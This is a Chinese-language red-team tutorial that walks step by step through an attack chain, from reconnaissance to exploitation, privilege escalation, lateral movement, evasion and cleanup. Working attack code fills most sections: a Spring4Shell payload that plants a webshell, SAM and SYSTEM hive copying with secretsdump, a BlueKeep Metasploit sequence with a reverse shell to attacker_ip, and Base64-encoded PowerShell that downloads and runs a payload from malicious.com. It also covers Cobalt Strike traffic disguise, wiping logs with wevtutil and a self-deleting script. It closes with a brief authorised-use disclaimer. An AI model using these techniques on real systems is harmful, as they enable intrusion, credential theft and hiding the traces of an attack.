0x01 起点:信息收集的深度挖掘

任何一次成功的渗透测试都离不开扎实的信息收集。作为一名攻击者,信息收集是打开整个攻击链的钥匙。我们需要尽可能全面地了解目标的网络架构、技术栈、开放端口、可能的漏洞,以及员工的社交行为等。

在这部分,我会从被动信息收集和主动信息收集两个方面来展开,结合案例和工具讲解如何做到高效而隐蔽的信息挖掘。

被动信息收集:无接触渗透的艺术

1. 目标域名与子域爆破

假如我们的目标是一家名为 "example.com" 的企业,我们首先要确定它的子域以及相关资产。Sublist3r 是一个非常好用的子域枚举工具:

<pre><code class="language-bash">sublist3r -d example.com -o subdomains.txt</code></pre>

此外,利用在线服务如 crt.sh、VirusTotal 也能挖掘出一些子域。以下是一个简单的 Python 脚本,利用 crt.sh API 枚举子域:

<pre><code class="language-python">import requests from bs4 import BeautifulSoup

def get_subdomains(domain): url = f&quot;https://crt.sh/?q={domain}&amp;output=json&quot; response = requests.get(url) if response.status_code == 200: data = response.json() subdomains = set(item[&#039;name_value&#039;] for item in data) return subdomains

subdomains = get_subdomains(&quot;example.com&quot;) for sub in subdomains: print(sub)</code></pre>

2. 公开泄露数据挖掘

黑客示意图

GitHub 是一个信息宝库。寻找可能的敏感信息,如 API 密钥、硬编码的密码,甚至是错误配置的 .env 文件。

使用工具 GitDorker,可以自动化执行 GitHub 搜索:

<pre><code class="language-bash">python3 GitDorker.py -d dorks.txt -q example.com -o results.txt</code></pre>

主动信息收集:冒险进入敌方领地

1. 端口扫描与服务枚举

nmap 是渗透测试的标准配置。以下命令能够快速扫描目标 IP 的常见端口,同时尝试识别服务版本:

<pre><code class="language-bash">nmap -sV -p- --min-rate=1000 target_ip</code></pre>

配合 Masscan,可以更快速地进行大规模端口扫描:

<pre><code class="language-bash">masscan -p1-65535 target_ip --rate=10000</code></pre>

2. 爬虫与目录爆破

黑客示意图

对于目标 Web 应用,目录枚举可以挖掘出隐藏的管理面板或敏感文件。使用 dirsearch 工具:

<pre><code class="language-bash">python3 dirsearch.py -u http://example.com -e php,html,js</code></pre>

在此过程中,我们可以利用 Burp Suite 捕获的流量分析目标应用中的 API 端点,甚至找到未公开的调试接口。

---

0x02 攻击入口:漏洞利用的策略与执行

在信息收集阶段,我们可能已经掌握了足够多的目标信息,包括 Web 应用漏洞、未修补的服务漏洞或敏感接口。在这一部分,我们将探讨如何选择合适的攻击入口,并演示一些常见的漏洞利用。

漏洞案例:CVE-2022-22965(Spring4Shell)

Spring4Shell 是一个典型的 Java 远程代码执行漏洞。假设目标服务器运行了一个受影响的 Spring 应用,我们可以通过以下 POC 来验证并利用该漏洞:

<pre><code class="language-python">import requests

url = &quot;http://target.com/hello&quot; headers = {&quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;} payload = &quot;class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7B%7B%7Bcmd%7D%7D%7D&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&quot;

写入恶意 JSP 文件

requests.post(url, headers=headers, data=payload)

触发恶意 JSP 文件,通过 webshell 交互

webshell_url = &quot;http://target.com/test.jsp&quot; print(f&quot;Webshell deployed: {webshell_url}&quot;)</code></pre>

本地主机提权:Windows 的常见提权漏洞

一旦我们通过漏洞进入目标主机,权限提升通常是下一步任务。以下是一个常见的 Windows 提权漏洞利用案例:

CVE-2021-36934:Windows SAM 数据库权限错误

<pre><code class="language-powershell"># 使用以下命令备份 SAM 数据库并提取信息 copy C:\Windows\System32\config\SAM C:\temp\SAM copy C:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

使用 mimikatz 或 SecretsDump 提取管理员密码hash

secretsdump.py -sam SAM -system SYSTEM LOCAL</code></pre>

---

0x03 横向移动:从 foothold 到 dominator

RDP 漏洞利用

一旦我们获取了一个低权限账户的 RDP 凭据,可以尝试借助已知的 RDP 漏洞进行横向移动。例如 BlueKeep 漏洞(CVE-2019-0708),以下是使用 Metasploit 的攻击步骤:

<pre><code class="language-bash">use exploit/windows/rdp/cve_2019_0708_bluekeep_rce set RHOST target_ip set RPORT 3389 set payload windows/x64/meterpreter/reverse_tcp set LHOST attacker_ip set LPORT 4444 exploit</code></pre>

---

0x04 步伐隐秘:绕过检测与免杀技巧

黑客示意图

在横向移动的过程中,如何做到不被发现是关键。以下是几个常用的 EDR 绕过技巧。

1. PowerShell 加密与混淆

通过加密 PowerShell 脚本,可以避免被静态分析检测:

<pre><code class="language-powershell">$script = &quot;iex(new-object net.webclient).downloadstring(&#039;http://malicious.com/payload.ps1&#039;)&quot; $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script)) powershell.exe -EncodedCommand $encoded</code></pre>

2. Cobalt Strike Beacon 的流量伪装

在 C2 通信中,可以通过修改 Profile 伪装 Beacon 的 HTTP 流量。以下是一个伪装成普通浏览器请求的 Profile 示例:

<pre><code>{ &quot;HttpGet&quot;: { &quot;uri&quot;: [&quot;/index.html&quot;], &quot;headers&quot;: { &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml&quot; } } }</code></pre>

---

0x05 目标达成:数据窃取与清理痕迹

在完成数据窃取后,我们需要删除攻击痕迹,包括日志文件、恶意软件以及后门。

1. 删除 Windows 日志

黑客示意图

通过 Wevtutil 工具清除日志:

<pre><code class="language-powershell">wevtutil cl System wevtutil cl Security wevtutil cl Application</code></pre>

2. 自删除脚本

以下是一个简单的自删除 PowerShell 脚本:

<pre><code class="language-powershell">Start-Sleep -s 10; Remove-Item -Path $MyInvocation.MyCommand.Path -Force</code></pre>

---

0x06 经验总结:成为攻击者的思维方式

从信息收集到漏洞利用,再到权限提升和横向移动,攻击链的每一个环节都是至关重要的。作为红队人员,只有始终保持攻击者的视角,善于发现防御的薄弱点,才能在对抗中占据上风。

这篇教程仅供授权测试环境中的研究使用!未经授权的攻击行为是违法的,后果自负。